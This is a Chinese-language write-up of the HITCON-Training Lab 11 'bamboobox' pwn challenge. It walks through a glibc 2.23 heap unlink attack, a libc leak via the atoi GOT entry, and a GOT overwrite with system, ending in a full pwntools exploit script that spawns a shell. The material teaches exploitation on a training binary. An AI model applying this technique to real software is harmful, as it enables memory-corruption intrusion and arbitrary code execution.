【HITCON-Training】Lab 11 - Bamboobox

Lab 11 - Bamboobox

实测只有2.23的libc版本才能成功,后面的unlink应该更难使用了!

首先完成unlink步骤

构造三个chunk,只要比80字节大就行了(fastbins阈值中32位是64字节,64位是80字节)。
0x40是fake_chunk_size,free的时候依靠这个找到fake的chunk指针。0x90无所谓,只要是0结尾就行了,保证三个检测位都是0(no_main_arena/mmap/prev_inuse):

可以看到已经成功将ptr修改成了ptr-0x18的位置:

把atoi地址放进去(放别的也行)


可以看到成功打印出got表上的真实地址:

算出system位置

接下来就很正常了,找base然后算出system位置,建议自己找,因为和标准答案不一样(标准答案结尾是80):

或者偷懒使用Libcsearcher:

重复操作

大致过程就是,我将chunk0再change一次,它以为0x602068是“堆”的地址(其实是atoi@got表),然后进去写,就帮我们把got表写成了system地址:

成功调用system获得shell:

源码

from pwn import *

sh=process("./bamboobox")
context.log_level="DEBUG"
context.terminal=['tmux','new-window']
def dbg():
    gdb.attach(sh)
    pause()
def show():
    sh.sendlineafter(":","1")
def add(length,name):
    sh.sendlineafter(":","2")
    sh.sendlineafter(":",str(length))
    sh.sendlineafter(":",name)
def change(index,length,name):
    sh.sendlineafter(":","3")
    sh.sendlineafter(":",str(index))
    sh.sendlineafter(":",str(length))
    sh.sendlineafter(":",name)
def remove(index):
    sh.sendlineafter(":","4")
    sh.sendlineafter(":",str(index))
def exit():
    sh.sendlineafter(":","5")

elf=ELF("./bamboobox")
add(0x40,"aaaa") #0
add(0x80,"bbbb") #1
add(0x40,"cccc") #2
chunk0_ptr=0x6020c8
fake_chunk=p64(0)+p64(0x41)+p64(chunk0_ptr-0x18)+p64(chunk0_ptr-0x10)+b"d"*0x20+p64(0x40)+p64(0x90)
change(0,0x80,fake_chunk)
remove(1)
payload=p64(0)+p64(0)+p64(0)+p64(+elf.got["atoi"])
change(0,0x80,payload)
show()
sh.recvuntil(": ",drop=True)
atoi_addr=u64(sh.recvuntil(": ",drop=True)[0:6].ljust(8,b"\x00"))
from LibcSearcher import LibcSearcher
libc=LibcSearcher("atoi",atoi_addr)
libc_base=atoi_addr-libc.dump("atoi")
system_addr=libc_base+libc.dump("system")
change(0,0x8,p64(system_addr))
sh.sendlineafter(":","happy muyiGin")
sh.interactive()
posted @ 2024-09-29 19:18  muyiGin  阅读(14)  评论(0编辑  收藏  举报